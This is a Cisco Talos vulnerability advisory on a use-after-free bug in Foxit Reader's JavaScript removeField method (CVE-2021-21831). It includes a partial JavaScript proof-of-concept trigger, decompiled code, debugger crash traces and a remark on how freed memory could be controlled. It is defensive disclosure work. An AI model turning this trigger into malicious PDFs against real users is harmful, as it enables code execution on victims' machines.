Talos Vulnerability Report

TALOS-2021-1294

Foxit Reader removeField use-after-free vulnerability

JULY 27, 2021

CVE NUMBER

CVE-2021-21831

Summary

A use-after-free vulnerability exists in the JavaScript engine of Foxit Software's PDF Reader, version 10.1.3.37598. A specially crafted PDF document can trigger the reuse of previously freed memory, which can lead to arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially crafted, malicious site if the browser plugin extension is enabled.

Tested Versions

Foxit Reader 10.1.3.37598

Product URLs

https://www.foxitsoftware.com/pdf-reader/

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Details

Foxit PDF Reader is one of the most popular PDF document readers and has a large user base. It aims to have feature parity with Adobe's Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.

Javascript support in PDF renderers and editors enables dynamic documents that can change based on user input or events. There exists a use after free vulnerability in the way Foxit Reader handles removal of fields from a page. Under normal circumstances, `Document` object method `removeField` takes a field name as an argument and removes it while freeing its backing memory. There exists an error in Foxit's implementation of `removeField` method which can lead to a use-after-free vulnerability. This can be illustrated by the following PoC:

```
function main() {

app.activeDocs[0].getField('txt3').setAction("Format",'f17();');
...
app.activeDocs[0].getField('txt3').setAction("Calculate",'f3();');

}

function f3(arg1, arg2, arg3) {
app.activeDocs[0].getField('Radio Button0').setFocus();
app.activeDocs[0].getField('Text Field1').setFocus();
app.activeDocs[0].removeField("");

}

function f17(arg1, arg2, arg3) {
app.activeDocs[0].getField('Text Field0').setFocus();
}
```

Upon closer inspection of the above code, an odd call to `removeField` with an empty string as argument can be spotted. The rest of the fields and actions are there to execute the necessary steps in order to trigger reuse of the freed memory and cause memory corruption. Actual implementation of `removeField` method is located at `00ED2470` in `FoxitReader.exe` binary. Quick examination reveals the following:

```
if ( CFXJSE_Arguments::GetLength(a3) < 1 )
  return 1;
UTF8String = (int *)CFXJSE_Arguments::GetUTF8String(a3, v46, 0);
v49 = 2;
v13 = *UTF8String;
if ( v13 )
  fieldName = (const CHAR *)(v13 + 12);
else
  fieldName = &Class;
sub_1FBC440(v48, fieldName, -1);
```

The above code first checks that there are supplied arguments and then converts it to a UTF8 string. If the UTF string turns out to be empty, a special value (also a NULL pointer) is assigned to `fieldName` to be used. Continuing execution of `removeField` with NULL UTF8 string as a field name actually results in removal of all fields in a document, contrary to specifications. In general, this would simply signify a deviation from PDF JS specs, but it has significant side effects when being executed inside an event handler. In the attached PoC, the spurious `removeField` call is executed during `txt3` field's `Calculate` event which is triggered separately. We can observe this behaviour in the debugger:

```
Breakpoint 0 hit
eax=06fbd574 ebx=06fbd5d0 ecx=013351b0 edx=01000002 esi=12e10ff8 edi=1f838ff8
eip=013351b0 esp=06fbd548 ebp=06fbd58c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
FoxitReader!CryptUIWizExport+0xf1910:
013351b0 55              push    ebp
0:000> k 5
 # ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 06fbd544 02cb016b FoxitReader!CryptUIWizExport+0xf1910
01 06fbd58c 02e75e59 FoxitReader!FXJSE_GetClass+0x22b
02 06fbd5e0 02e755ef FoxitReader!CFXJSE_Arguments::GetValue+0x1c5729
03 06fbd674 02e758b1 FoxitReader!CFXJSE_Arguments::GetValue+0x1c4ebf
04 06fbd6bc 02e7574b FoxitReader!CFXJSE_Arguments::GetValue+0x1c5181
0:000> dd poi(esp+c)
06fbd56c  06fbd5d0 12e10ff8 045448f0 0000000b
06fbd57c  054892e0 06fbda38 0446b920 ffffffff
06fbd58c  06fbd5e0 02e75e59 1da68e60 272611b1
06fbd59c  06fbd710 1da68e60 00000000 049fe7f0
06fbd5ac  00000000 00000000 00000000 00000000
06fbd5bc  00000000 00000000 1da68e60 02cb00a0
06fbd5cc  06fbde74 06fbd650 06fbd710 00000001
06fbd5dc  02cb00a0 06fbd674 02e755ef 06fbd628
```

First breakpoint is set at the start of document’s `removeField` method wrapper, third argument on the stack holds method arguments. Continuing execution:

```
Breakpoint 1 hit
eax=06fbd51c ebx=06fbd500 ecx=207faf00 edx=00000000 esi=207faf00 edi=1f838ff8
eip=01335390 esp=06fbd4f0 ebp=06fbd544 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
FoxitReader!CryptUIWizExport+0xf1af0:
01335390 e8dbd00300      call    FoxitReader!CryptUIWizExport+0x12ebd0 (01372470)
0:000> k 10
 # ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 06fbd544 02cb016b FoxitReader!CryptUIWizExport+0xf1af0
01 06fbd58c 02e75e59 FoxitReader!FXJSE_GetClass+0x22b
02 06fbd5e0 02e755ef FoxitReader!CFXJSE_Arguments::GetValue+0x1c5729
03 06fbd674 02e758b1 FoxitReader!CFXJSE_Arguments::GetValue+0x1c4ebf
04 06fbd6bc 02e7574b FoxitReader!CFXJSE_Arguments::GetValue+0x1c5181
05 06fbd6d8 0301cdf7 FoxitReader!CFXJSE_Arguments::GetValue+0x1c501b
06 06fbd6f8 02fab730 FoxitReader!CFXJSE_Arguments::GetValue+0x36c6c7
07 06fbd73c 02fa5a7c FoxitReader!CFXJSE_Arguments::GetValue+0x2fb000
08 06fbd764 02fab730 FoxitReader!CFXJSE_Arguments::GetValue+0x2f534c
09 06fbd78c 02fa92bf FoxitReader!CFXJSE_Arguments::GetValue+0x2fb000
0a 06fbd7a0 02fa90db FoxitReader!CFXJSE_Arguments::GetValue+0x2f8b8f
0b 06fbd7cc 02ce65c6 FoxitReader!CFXJSE_Arguments::GetValue+0x2f89ab
0c 06fbd890 02ce60a7 FoxitReader!CFXJSE_Arguments::GetValue+0x35e96
0d 06fbd910 02cd33a7 FoxitReader!CFXJSE_Arguments::GetValue+0x35977
0e 06fbd9cc 02cae8bf FoxitReader!CFXJSE_Arguments::GetValue+0x22c77
0f 06fbda44 02caf0d4 FoxitReader!FXJSE_Runtime_Release+0xc4f
```

Next breakpoint is at the call of an actual remove field implementation. We note the call stack. Further, we get to above quoted UTF8 conversion code:

```
Breakpoint 2 hit
eax=06fbd4d0 ebx=06fbd500 ecx=06fbd56c edx=00000000 esi=207faf00 edi=06fbd56c
eip=013725bd esp=06fbd44c ebp=06fbd4e8 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
FoxitReader!CryptUIWizExport+0x12ed1d:
013725bd e8aee09301      call    FoxitReader!CFXJSE_Arguments::GetUTF8String (02cb0670)
0:000> p
eax=06fbd4d0 ebx=06fbd500 ecx=d2dbdd00 edx=0bb00000 esi=207faf00 edi=06fbd56c
eip=013725c2 esp=06fbd454 ebp=06fbd4e8 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
FoxitReader!CryptUIWizExport+0x12ed22:
013725c2 c745fc02000000  mov     dword ptr [ebp-4],2  ss:002b:06fbd4e4=ffffffff
0:000> dd eax
06fbd4d0  00000000 207faf00 d2dbdda8 06fbd538
06fbd4e0  041d1af1 ffffffff 06fbd544 01335395
06fbd4f0  1f838ff8 06fbd56c 06fbd51c d2dbdc00
06fbd500  1f838ff8 12e10ff8 06fbd5d0 00000000
06fbd510  06fbd54c 06fbd52c 03e147ac 2072cfe0
06fbd520  1f89afc0 00000008 06fbd714 00000000
06fbd530  03b2c89e 06fbd4fc 06fbd580 041d1ba9
06fbd540  00000007 06fbd58c 02cb016b 1f838ff8
0:000> db poi(eax)
00000000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000030  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000040  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000050  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000060  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000070  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
```

Return value points to a NULL pointer because the `fieldName` supplied was an empty string. Continuing execution further leads to the following crash:

```
(25e4.ad8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000002 ebx=1896efd0 ecx=11c56fc8 edx=00000000 esi=11c56fc8 edi=1e962fb0
eip=01d2bda0 esp=06fbdb64 ebp=06fbdb78 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
FoxitReader!std::basic_ostream >::operator0:000>
0:000> u
01d2bda0 8b412c          mov     eax,dword ptr [ecx+2Ch] ds:002b:11c56ff4=????????
01d2bda3 33c9            xor     ecx,ecx
01d2bda5 85c0            test    eax,eax
01d2bda7 7405            je      FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x315ece (01d2bdae)
01d2bda9 3908            cmp     dword ptr [eax],ecx
01d2bdab 0f95c1          setne   cl
01d2bdae 84c9            test    cl,cl

FoxitReader!std::basic_ostream >::operator0:000> !heap -p -a ecx
    address 11c56fc8 found in
    _DPH_HEAP_ROOT @ bb01000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                11b41104:         11c56000             2000
    695dae02 verifier!AVrfDebugPageHeapFree+0x000000c2
    77212c91 ntdll!RtlDebugFreeHeap+0x0000003e
    77173c45 ntdll!RtlpFreeHeap+0x000000d5
    77173812 ntdll!RtlFreeHeap+0x00000222
    03e14756 FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x002ebe16
    03df25c2 FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x002c9c82
    03d1dfb4 FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x001f5674
    01d347b9 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0031e8d9
    01d25b3b FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0030fc5b
    01d24da6 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0030eec6
    01d24466 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0030e586
    0200dd98 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x005f7eb8
    0102e30c FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x002a909c
    00afe420 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0002dec0
    01372747 FoxitReader!CryptUIWizExport+0x0012eea7
    01335395 FoxitReader!CryptUIWizExport+0x000f1af5
    02cb016b FoxitReader!FXJSE_GetClass+0x0000022b
    02e75e59 FoxitReader!CFXJSE_Arguments::GetValue+0x001c5729
    02e755ef FoxitReader!CFXJSE_Arguments::GetValue+0x001c4ebf
    02e758b1 FoxitReader!CFXJSE_Arguments::GetValue+0x001c5181
    02e7574b FoxitReader!CFXJSE_Arguments::GetValue+0x001c501b
    0301cdf7 FoxitReader!CFXJSE_Arguments::GetValue+0x0036c6c7
    02fab730 FoxitReader!CFXJSE_Arguments::GetValue+0x002fb000
    02fa5a7c FoxitReader!CFXJSE_Arguments::GetValue+0x002f534c
    02fab730 FoxitReader!CFXJSE_Arguments::GetValue+0x002fb000
    02fa92bf FoxitReader!CFXJSE_Arguments::GetValue+0x002f8b8f
    02fa90db FoxitReader!CFXJSE_Arguments::GetValue+0x002f89ab
    02ce65c6 FoxitReader!CFXJSE_Arguments::GetValue+0x00035e96
    02ce60a7 FoxitReader!CFXJSE_Arguments::GetValue+0x00035977
    02cd33a7 FoxitReader!CFXJSE_Arguments::GetValue+0x00022c77
    02cae8bf FoxitReader!FXJSE_Runtime_Release+0x00000c4f
    02caf0d4 FoxitReader!FXJSE_ExecuteScript+0x00000014
```

In the above debugger output, we can see a crash due to access violation on invalid memory pointed to by `ecx`. Examining heap metadata reveals that `ecx` points to previously freed allocation. Further more, comparing call stacks of the free to the call stacks from previous breakpoints reveals that the free indeed happens during a call to `removeField`. This constitutes a use-after-free condition.

The freeing of memory occurs during a call to `removeField` but the reuse is triggered after event handler function `f3` is done. Freed memory can be put under attacker control by executing additional code after the `removeField` call but before the end of event handler function `f3`. With careful memory layout manipulation this can lead to further memory corruption and ultimately arbitrary code execution.

Timeline

2021-04-28 - Vendor Disclosure
2021-07-27 - Public Release

CREDIT

Discovered by Aleksandar Nikolic of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT

NEXT REPORT

TALOS-2021-1255

TALOS-2021-1336